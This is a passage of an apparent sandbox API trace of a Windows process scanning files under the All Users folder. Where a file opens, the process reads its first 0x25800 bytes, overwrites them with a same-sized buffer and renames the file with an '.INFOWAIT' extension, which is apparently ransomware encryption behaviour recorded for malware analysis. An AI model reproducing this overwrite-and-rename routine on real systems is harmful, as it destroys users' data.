LocalFree (hMem=0x279c770) returned 0x0 [0137.379] GetLastError () returned 0x2 [0137.380] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0137.380] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\MS.VISIO_PRM.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.visio_prm.14.1033.hxn"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0137.380] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26ee59c) [0137.380] GetLastError () returned 0x2 [0137.380] RtlUnwind (TargetFrame=0x26eff1c, TargetIp=0x43694c, ExceptionRecord=0x26ee064, ReturnValue=0x0) [0137.380] GetLastError () returned 0x2 [0137.380] FormatMessageW (in: dwFlags=0x1300, lpSource=0x0, dwMessageId=0x2, dwLanguageId=0x400, lpBuffer=0x26edd8c, nSize=0x0, Arguments=0x0 | out: lpBuffer="\x2360\x24b\xff28\x26e\x5dbb\x40\xe5c4\x26e\x6b07\x43\xff1c\x26e\xe064\x26e\xddb8\x26e\xff1c\x26e") returned 0x2c [0137.380] lstrlenW (lpString="The system cannot find the file specified.\r\n") returned 44 [0137.380] lstrlenW (lpString="CreateFile") returned 10 [0137.380] LocalAlloc (uFlags=0x40, uBytes=0xbc) returned 0x279c770 [0137.380] lstrcpyW (in: lpString1=0x279c770, lpString2="CreateFile" | out: lpString1="CreateFile") returned="CreateFile" [0137.380] lstrcatW (in: lpString1="CreateFile", lpString2=" failed with error " | out: lpString1="CreateFile failed with error ") returned="CreateFile failed with error " [0137.380] lstrlenW (lpString="2") returned 1 [0137.380] lstrcatW (in: lpString1="CreateFile failed with error ", lpString2="2" | out: lpString1="CreateFile failed with error 2") returned="CreateFile failed with error 2" [0137.380] lstrcatW (in: lpString1="CreateFile failed with error 2", lpString2=": " | out: lpString1="CreateFile failed with error 2: ") returned="CreateFile failed with error 2: " [0137.380] lstrcatW (in: lpString1="CreateFile failed with error 2: ", lpString2="The system cannot find the file specified.\r\n" | out: lpString1="CreateFile failed with error 2: The system cannot find the file specified.\r\n") returned="CreateFile failed with error 2: The system cannot find the file specified.\r\n" [0137.380] lstrlenW (lpString="CreateFile failed with error 2: The system cannot find the file specified.\r\n") returned 76 [0137.380] lstrcpynW (in: lpString1=0x26ee5c4, lpString2="CreateFile failed with error 2: The system cannot find the file specified.\r\n", iMaxLength=1024 | out: lpString1="CreateFile failed with error 2: The system cannot find the file specified.\r\n") returned="CreateFile failed with error 2: The system cannot find the file specified.\r\n" [0137.380] lstrlenW (lpString="CreateFile failed with error 2: The system cannot find the file specified.\r\n") returned 76 [0137.380] LocalFree (hMem=0x24b2360) returned 0x0 [0137.380] LocalFree (hMem=0x279c770) returned 0x0 [0137.380] GetLastError () returned 0x2 [0137.381] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0137.381] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\MS.VISIO_STD.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.visio_std.14.1033.hxn"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0137.381] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26ee59c) [0137.381] GetLastError () returned 0x2 [0137.381] RtlUnwind (TargetFrame=0x26eff1c, TargetIp=0x43694c, ExceptionRecord=0x26ee064, ReturnValue=0x0) [0137.381] GetLastError () returned 0x2 [0137.381] FormatMessageW (in: dwFlags=0x1300, lpSource=0x0, dwMessageId=0x2, dwLanguageId=0x400, lpBuffer=0x26edd8c, nSize=0x0, Arguments=0x0 | out: lpBuffer="\x2360\x24b\xff28\x26e\x5dbb\x40\xe5c4\x26e\x6b07\x43\xff1c\x26e\xe064\x26e\xddb8\x26e\xff1c\x26e") returned 0x2c [0137.381] lstrlenW (lpString="The system cannot find the file specified.\r\n") returned 44 [0137.381] lstrlenW (lpString="CreateFile") returned 10 [0137.381] LocalAlloc (uFlags=0x40, uBytes=0xbc) returned 0x279c770 [0137.381] lstrcpyW (in: lpString1=0x279c770, lpString2="CreateFile" | out: lpString1="CreateFile") returned="CreateFile" [0137.381] lstrcatW (in: lpString1="CreateFile", lpString2=" failed with error " | out: lpString1="CreateFile failed with error ") returned="CreateFile failed with error " [0137.381] lstrlenW (lpString="2") returned 1 [0137.381] lstrcatW (in: lpString1="CreateFile failed with error ", lpString2="2" | out: lpString1="CreateFile failed with error 2") returned="CreateFile failed with error 2" [0137.381] lstrcatW (in: lpString1="CreateFile failed with error 2", lpString2=": " | out: lpString1="CreateFile failed with error 2: ") returned="CreateFile failed with error 2: " [0137.381] lstrcatW (in: lpString1="CreateFile failed with error 2: ", lpString2="The system cannot find the file specified.\r\n" | out: lpString1="CreateFile failed with error 2: The system cannot find the file specified.\r\n") returned="CreateFile failed with error 2: The system cannot find the file specified.\r\n" [0137.381] lstrlenW (lpString="CreateFile failed with error 2: The system cannot find the file specified.\r\n") returned 76 [0137.381] lstrcpynW (in: lpString1=0x26ee5c4, lpString2="CreateFile failed with error 2: The system cannot find the file specified.\r\n", iMaxLength=1024 | out: lpString1="CreateFile failed with error 2: The system cannot find the file specified.\r\n") returned="CreateFile failed with error 2: The system cannot find the file specified.\r\n" [0137.381] lstrlenW (lpString="CreateFile failed with error 2: The system cannot find the file specified.\r\n") returned 76 [0137.381] LocalFree (hMem=0x24b2360) returned 0x0 [0137.381] LocalFree (hMem=0x279c770) returned 0x0 [0137.381] GetLastError () returned 0x2 [0137.382] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0137.382] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\MS.WINPROJ.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.winproj.14.1033.hxn"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0137.382] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26ee59c) [0137.382] GetLastError () returned 0x2 [0137.382] RtlUnwind (TargetFrame=0x26eff1c, TargetIp=0x43694c, ExceptionRecord=0x26ee064, ReturnValue=0x0) [0137.382] GetLastError () returned 0x2 [0137.382] FormatMessageW (in: dwFlags=0x1300, lpSource=0x0, dwMessageId=0x2, dwLanguageId=0x400, lpBuffer=0x26edd8c, nSize=0x0, Arguments=0x0 | out: lpBuffer="\x2360\x24b\xff28\x26e\x5dbb\x40\xe5c4\x26e\x6b07\x43\xff1c\x26e\xe064\x26e\xddb8\x26e\xff1c\x26e") returned 0x2c [0137.382] lstrlenW (lpString="The system cannot find the file specified.\r\n") returned 44 [0137.382] lstrlenW (lpString="CreateFile") returned 10 [0137.382] LocalAlloc (uFlags=0x40, uBytes=0xbc) returned 0x279c770 [0137.382] lstrcpyW (in: lpString1=0x279c770, lpString2="CreateFile" | out: lpString1="CreateFile") returned="CreateFile" [0137.382] lstrcatW (in: lpString1="CreateFile", lpString2=" failed with error " | out: lpString1="CreateFile failed with error ") returned="CreateFile failed with error " [0137.382] lstrlenW (lpString="2") returned 1 [0137.382] lstrcatW (in: lpString1="CreateFile failed with error ", lpString2="2" | out: lpString1="CreateFile failed with error 2") returned="CreateFile failed with error 2" [0137.382] lstrcatW (in: lpString1="CreateFile failed with error 2", lpString2=": " | out: lpString1="CreateFile failed with error 2: ") returned="CreateFile failed with error 2: " [0137.382] lstrcatW (in: lpString1="CreateFile failed with error 2: ", lpString2="The system cannot find the file specified.\r\n" | out: lpString1="CreateFile failed with error 2: The system cannot find the file specified.\r\n") returned="CreateFile failed with error 2: The system cannot find the file specified.\r\n" [0137.382] lstrlenW (lpString="CreateFile failed with error 2: The system cannot find the file specified.\r\n") returned 76 [0137.382] lstrcpynW (in: lpString1=0x26ee5c4, lpString2="CreateFile failed with error 2: The system cannot find the file specified.\r\n", iMaxLength=1024 | out: lpString1="CreateFile failed with error 2: The system cannot find the file specified.\r\n") returned="CreateFile failed with error 2: The system cannot find the file specified.\r\n" [0137.382] lstrlenW (lpString="CreateFile failed with error 2: The system cannot find the file specified.\r\n") returned 76 [0137.382] LocalFree (hMem=0x24b2360) returned 0x0 [0137.382] LocalFree (hMem=0x279c770) returned 0x0 [0137.382] GetLastError () returned 0x2 [0137.382] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0137.383] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\MS.WINPROJ.DEV.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.winproj.dev.14.1033.hxn"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0137.383] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26ee59c) [0137.383] GetLastError () returned 0x2 [0137.383] RtlUnwind (TargetFrame=0x26eff1c, TargetIp=0x43694c, ExceptionRecord=0x26ee064, ReturnValue=0x0) [0137.383] GetLastError () returned 0x2 [0137.383] FormatMessageW (in: dwFlags=0x1300, lpSource=0x0, dwMessageId=0x2, dwLanguageId=0x400, lpBuffer=0x26edd8c, nSize=0x0, Arguments=0x0 | out: lpBuffer="\x2360\x24b\xff28\x26e\x5dbb\x40\xe5c4\x26e\x6b07\x43\xff1c\x26e\xe064\x26e\xddb8\x26e\xff1c\x26e") returned 0x2c [0137.383] lstrlenW (lpString="The system cannot find the file specified.\r\n") returned 44 [0137.383] lstrlenW (lpString="CreateFile") returned 10 [0137.383] LocalAlloc (uFlags=0x40, uBytes=0xbc) returned 0x279c770 [0137.383] lstrcpyW (in: lpString1=0x279c770, lpString2="CreateFile" | out: lpString1="CreateFile") returned="CreateFile" [0137.383] lstrcatW (in: lpString1="CreateFile", lpString2=" failed with error " | out: lpString1="CreateFile failed with error ") returned="CreateFile failed with error " [0137.383] lstrlenW (lpString="2") returned 1 [0137.383] lstrcatW (in: lpString1="CreateFile failed with error ", lpString2="2" | out: lpString1="CreateFile failed with error 2") returned="CreateFile failed with error 2" [0137.383] lstrcatW (in: lpString1="CreateFile failed with error 2", lpString2=": " | out: lpString1="CreateFile failed with error 2: ") returned="CreateFile failed with error 2: " [0137.383] lstrcatW (in: lpString1="CreateFile failed with error 2: ", lpString2="The system cannot find the file specified.\r\n" | out: lpString1="CreateFile failed with error 2: The system cannot find the file specified.\r\n") returned="CreateFile failed with error 2: The system cannot find the file specified.\r\n" [0137.383] lstrlenW (lpString="CreateFile failed with error 2: The system cannot find the file specified.\r\n") returned 76 [0137.383] lstrcpynW (in: lpString1=0x26ee5c4, lpString2="CreateFile failed with error 2: The system cannot find the file specified.\r\n", iMaxLength=1024 | out: lpString1="CreateFile failed with error 2: The system cannot find the file specified.\r\n") returned="CreateFile failed with error 2: The system cannot find the file specified.\r\n" [0137.383] lstrlenW (lpString="CreateFile failed with error 2: The system cannot find the file specified.\r\n") returned 76 [0137.383] LocalFree (hMem=0x24b2360) returned 0x0 [0137.383] LocalFree (hMem=0x279c770) returned 0x0 [0137.383] GetLastError () returned 0x2 [0137.384] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0137.384] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\MS.WINWORD.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.winword.14.1033.hxn"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0137.384] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26ee59c) [0137.384] GetLastError () returned 0x2 [0137.384] RtlUnwind (TargetFrame=0x26eff1c, TargetIp=0x43694c, ExceptionRecord=0x26ee064, ReturnValue=0x0) [0137.384] GetLastError () returned 0x2 [0137.384] FormatMessageW (in: dwFlags=0x1300, lpSource=0x0, dwMessageId=0x2, dwLanguageId=0x400, lpBuffer=0x26edd8c, nSize=0x0, Arguments=0x0 | out: lpBuffer="\x2360\x24b\xff28\x26e\x5dbb\x40\xe5c4\x26e\x6b07\x43\xff1c\x26e\xe064\x26e\xddb8\x26e\xff1c\x26e") returned 0x2c [0137.384] lstrlenW (lpString="The system cannot find the file specified.\r\n") returned 44 [0137.384] lstrlenW (lpString="CreateFile") returned 10 [0137.384] LocalAlloc (uFlags=0x40, uBytes=0xbc) returned 0x279c770 [0137.384] lstrcpyW (in: lpString1=0x279c770, lpString2="CreateFile" | out: lpString1="CreateFile") returned="CreateFile" [0137.384] lstrcatW (in: lpString1="CreateFile", lpString2=" failed with error " | out: lpString1="CreateFile failed with error ") returned="CreateFile failed with error " [0137.384] lstrlenW (lpString="2") returned 1 [0137.384] lstrcatW (in: lpString1="CreateFile failed with error ", lpString2="2" | out: lpString1="CreateFile failed with error 2") returned="CreateFile failed with error 2" [0137.384] lstrcatW (in: lpString1="CreateFile failed with error 2", lpString2=": " | out: lpString1="CreateFile failed with error 2: ") returned="CreateFile failed with error 2: " [0137.384] lstrcatW (in: lpString1="CreateFile failed with error 2: ", lpString2="The system cannot find the file specified.\r\n" | out: lpString1="CreateFile failed with error 2: The system cannot find the file specified.\r\n") returned="CreateFile failed with error 2: The system cannot find the file specified.\r\n" [0137.384] lstrlenW (lpString="CreateFile failed with error 2: The system cannot find the file specified.\r\n") returned 76 [0137.384] lstrcpynW (in: lpString1=0x26ee5c4, lpString2="CreateFile failed with error 2: The system cannot find the file specified.\r\n", iMaxLength=1024 | out: lpString1="CreateFile failed with error 2: The system cannot find the file specified.\r\n") returned="CreateFile failed with error 2: The system cannot find the file specified.\r\n" [0137.384] lstrlenW (lpString="CreateFile failed with error 2: The system cannot find the file specified.\r\n") returned 76 [0137.384] LocalFree (hMem=0x24b2360) returned 0x0 [0137.384] LocalFree (hMem=0x279c770) returned 0x0 [0137.384] GetLastError () returned 0x2 [0137.384] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0137.385] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\MS.WINWORD.DEV.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.winword.dev.14.1033.hxn"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0137.385] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26ee59c) [0137.385] GetLastError () returned 0x2 [0137.385] RtlUnwind (TargetFrame=0x26eff1c, TargetIp=0x43694c, ExceptionRecord=0x26ee064, ReturnValue=0x0) [0137.385] GetLastError () returned 0x2 [0137.385] FormatMessageW (in: dwFlags=0x1300, lpSource=0x0, dwMessageId=0x2, dwLanguageId=0x400, lpBuffer=0x26edd8c, nSize=0x0, Arguments=0x0 | out: lpBuffer="\x2360\x24b\xff28\x26e\x5dbb\x40\xe5c4\x26e\x6b07\x43\xff1c\x26e\xe064\x26e\xddb8\x26e\xff1c\x26e") returned 0x2c [0137.385] lstrlenW (lpString="The system cannot find the file specified.\r\n") returned 44 [0137.385] lstrlenW (lpString="CreateFile") returned 10 [0137.385] LocalAlloc (uFlags=0x40, uBytes=0xbc) returned 0x279c770 [0137.385] lstrcpyW (in: lpString1=0x279c770, lpString2="CreateFile" | out: lpString1="CreateFile") returned="CreateFile" [0137.385] lstrcatW (in: lpString1="CreateFile", lpString2=" failed with error " | out: lpString1="CreateFile failed with error ") returned="CreateFile failed with error " [0137.385] lstrlenW (lpString="2") returned 1 [0137.385] lstrcatW (in: lpString1="CreateFile failed with error ", lpString2="2" | out: lpString1="CreateFile failed with error 2") returned="CreateFile failed with error 2" [0137.385] lstrcatW (in: lpString1="CreateFile failed with error 2", lpString2=": " | out: lpString1="CreateFile failed with error 2: ") returned="CreateFile failed with error 2: " [0137.385] lstrcatW (in: lpString1="CreateFile failed with error 2: ", lpString2="The system cannot find the file specified.\r\n" | out: lpString1="CreateFile failed with error 2: The system cannot find the file specified.\r\n") returned="CreateFile failed with error 2: The system cannot find the file specified.\r\n" [0137.385] lstrlenW (lpString="CreateFile failed with error 2: The system cannot find the file specified.\r\n") returned 76 [0137.385] lstrcpynW (in: lpString1=0x26ee5c4, lpString2="CreateFile failed with error 2: The system cannot find the file specified.\r\n", iMaxLength=1024 | out: lpString1="CreateFile failed with error 2: The system cannot find the file specified.\r\n") returned="CreateFile failed with error 2: The system cannot find the file specified.\r\n" [0137.385] lstrlenW (lpString="CreateFile failed with error 2: The system cannot find the file specified.\r\n") returned 76 [0137.385] LocalFree (hMem=0x24b2360) returned 0x0 [0137.385] LocalFree (hMem=0x279c770) returned 0x0 [0137.385] GetLastError () returned 0x2 [0137.385] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0137.385] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\nslist.hxl" (normalized: "c:\\users\\all users\\microsoft help\\nslist.hxl"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0137.386] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26ee59c) [0137.386] GetLastError () returned 0x2 [0137.386] RtlUnwind (TargetFrame=0x26eff1c, TargetIp=0x43694c, ExceptionRecord=0x26ee064, ReturnValue=0x0) [0137.386] GetLastError () returned 0x2 [0137.386] FormatMessageW (in: dwFlags=0x1300, lpSource=0x0, dwMessageId=0x2, dwLanguageId=0x400, lpBuffer=0x26edd8c, nSize=0x0, Arguments=0x0 | out: lpBuffer="\x2360\x24b\xff28\x26e\x5dbb\x40\xe5c4\x26e\x6b07\x43\xff1c\x26e\xe064\x26e\xddb8\x26e\xff1c\x26e") returned 0x2c [0137.386] lstrlenW (lpString="The system cannot find the file specified.\r\n") returned 44 [0137.386] lstrlenW (lpString="CreateFile") returned 10 [0137.386] LocalAlloc (uFlags=0x40, uBytes=0xbc) returned 0x279c770 [0137.386] lstrcpyW (in: lpString1=0x279c770, lpString2="CreateFile" | out: lpString1="CreateFile") returned="CreateFile" [0137.386] lstrcatW (in: lpString1="CreateFile", lpString2=" failed with error " | out: lpString1="CreateFile failed with error ") returned="CreateFile failed with error " [0137.386] lstrlenW (lpString="2") returned 1 [0137.386] lstrcatW (in: lpString1="CreateFile failed with error ", lpString2="2" | out: lpString1="CreateFile failed with error 2") returned="CreateFile failed with error 2" [0137.386] lstrcatW (in: lpString1="CreateFile failed with error 2", lpString2=": " | out: lpString1="CreateFile failed with error 2: ") returned="CreateFile failed with error 2: " [0137.386] lstrcatW (in: lpString1="CreateFile failed with error 2: ", lpString2="The system cannot find the file specified.\r\n" | out: lpString1="CreateFile failed with error 2: The system cannot find the file specified.\r\n") returned="CreateFile failed with error 2: The system cannot find the file specified.\r\n" [0137.386] lstrlenW (lpString="CreateFile failed with error 2: The system cannot find the file specified.\r\n") returned 76 [0137.386] lstrcpynW (in: lpString1=0x26ee5c4, lpString2="CreateFile failed with error 2: The system cannot find the file specified.\r\n", iMaxLength=1024 | out: lpString1="CreateFile failed with error 2: The system cannot find the file specified.\r\n") returned="CreateFile failed with error 2: The system cannot find the file specified.\r\n" [0137.386] lstrlenW (lpString="CreateFile failed with error 2: The system cannot find the file specified.\r\n") returned 76 [0137.386] LocalFree (hMem=0x24b2360) returned 0x0 [0137.386] LocalFree (hMem=0x279c770) returned 0x0 [0137.386] GetLastError () returned 0x2 [0137.386] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0137.386] CreateFileW (lpFileName="C:\\Users\\All Users\\Mozilla\\logs\\maintenanceservice-install.log" (normalized: "c:\\users\\all users\\mozilla\\logs\\maintenanceservice-install.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0137.387] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26ee59c) [0137.387] GetLastError () returned 0x2 [0137.387] RtlUnwind (TargetFrame=0x26eff1c, TargetIp=0x43694c, ExceptionRecord=0x26ee064, ReturnValue=0x0) [0137.387] GetLastError () returned 0x2 [0137.387] FormatMessageW (in: dwFlags=0x1300, lpSource=0x0, dwMessageId=0x2, dwLanguageId=0x400, lpBuffer=0x26edd8c, nSize=0x0, Arguments=0x0 | out: lpBuffer="\x2360\x24b\xff28\x26e\x5dbb\x40\xe5c4\x26e\x6b07\x43\xff1c\x26e\xe064\x26e\xddb8\x26e\xff1c\x26e") returned 0x2c [0137.387] lstrlenW (lpString="The system cannot find the file specified.\r\n") returned 44 [0137.387] lstrlenW (lpString="CreateFile") returned 10 [0137.387] LocalAlloc (uFlags=0x40, uBytes=0xbc) returned 0x279c770 [0137.387] lstrcpyW (in: lpString1=0x279c770, lpString2="CreateFile" | out: lpString1="CreateFile") returned="CreateFile" [0137.387] lstrcatW (in: lpString1="CreateFile", lpString2=" failed with error " | out: lpString1="CreateFile failed with error ") returned="CreateFile failed with error " [0137.387] lstrlenW (lpString="2") returned 1 [0137.387] lstrcatW (in: lpString1="CreateFile failed with error ", lpString2="2" | out: lpString1="CreateFile failed with error 2") returned="CreateFile failed with error 2" [0137.387] lstrcatW (in: lpString1="CreateFile failed with error 2", lpString2=": " | out: lpString1="CreateFile failed with error 2: ") returned="CreateFile failed with error 2: " [0137.387] lstrcatW (in: lpString1="CreateFile failed with error 2: ", lpString2="The system cannot find the file specified.\r\n" | out: lpString1="CreateFile failed with error 2: The system cannot find the file specified.\r\n") returned="CreateFile failed with error 2: The system cannot find the file specified.\r\n" [0137.387] lstrlenW (lpString="CreateFile failed with error 2: The system cannot find the file specified.\r\n") returned 76 [0137.387] lstrcpynW (in: lpString1=0x26ee5c4, lpString2="CreateFile failed with error 2: The system cannot find the file specified.\r\n", iMaxLength=1024 | out: lpString1="CreateFile failed with error 2: The system cannot find the file specified.\r\n") returned="CreateFile failed with error 2: The system cannot find the file specified.\r\n" [0137.387] lstrlenW (lpString="CreateFile failed with error 2: The system cannot find the file specified.\r\n") returned 76 [0137.387] LocalFree (hMem=0x24b2360) returned 0x0 [0137.387] LocalFree (hMem=0x279c770) returned 0x0 [0137.387] GetLastError () returned 0x2 [0137.387] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0137.387] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\x64\\Windows6.1-KB2999226-x64.msu" (normalized: "c:\\users\\all users\\package cache\\42d5bec7ddfbd49e76467529cbc2868987bf8460\\packages\\patch\\x64\\windows6.1-kb2999226-x64.msu"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0137.388] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xf7139 [0137.388] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0137.388] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0137.388] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x25800, lpOverlapped=0x0) returned 1 [0137.418] VirtualAlloc (lpAddress=0x0, dwSize=0x25800, flAllocationType=0x1000, flProtect=0x4) returned 0x29b0000 [0137.428] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0137.428] WriteFile (in: hFile=0xad4, lpBuffer=0x29b0000*, nNumberOfBytesToWrite=0x25800, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesWritten=0x26efef0*=0x25800, lpOverlapped=0x0) returned 1 [0137.429] CloseHandle (hObject=0xad4) returned 1 [0137.429] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\x64\\Windows6.1-KB2999226-x64.msu" | out: lpString1="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\x64\\Windows6.1-KB2999226-x64.msu") returned="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\x64\\Windows6.1-KB2999226-x64.msu" [0137.429] lstrcatW (in: lpString1="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\x64\\Windows6.1-KB2999226-x64.msu", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\x64\\Windows6.1-KB2999226-x64.msu.INFOWAIT") returned="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\x64\\Windows6.1-KB2999226-x64.msu.INFOWAIT" [0137.429] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\x64\\Windows6.1-KB2999226-x64.msu" (normalized: "c:\\users\\all users\\package cache\\42d5bec7ddfbd49e76467529cbc2868987bf8460\\packages\\patch\\x64\\windows6.1-kb2999226-x64.msu"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\x64\\Windows6.1-KB2999226-x64.msu.INFOWAIT" (normalized: "c:\\users\\all users\\package cache\\42d5bec7ddfbd49e76467529cbc2868987bf8460\\packages\\patch\\x64\\windows6.1-kb2999226-x64.msu.infowait")) returned 1 [0137.430] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0137.431] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0137.432] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0137.432] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\x64\\Windows6.1-KB2999226-x64.msu" (normalized: "c:\\users\\all users\\package cache\\54050a5f8ae7f0c56e553f0090146c17a1d2bf8d\\packages\\patch\\x64\\windows6.1-kb2999226-x64.msu"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0137.433] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xfc93c [0137.433] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0137.433] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0137.433] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 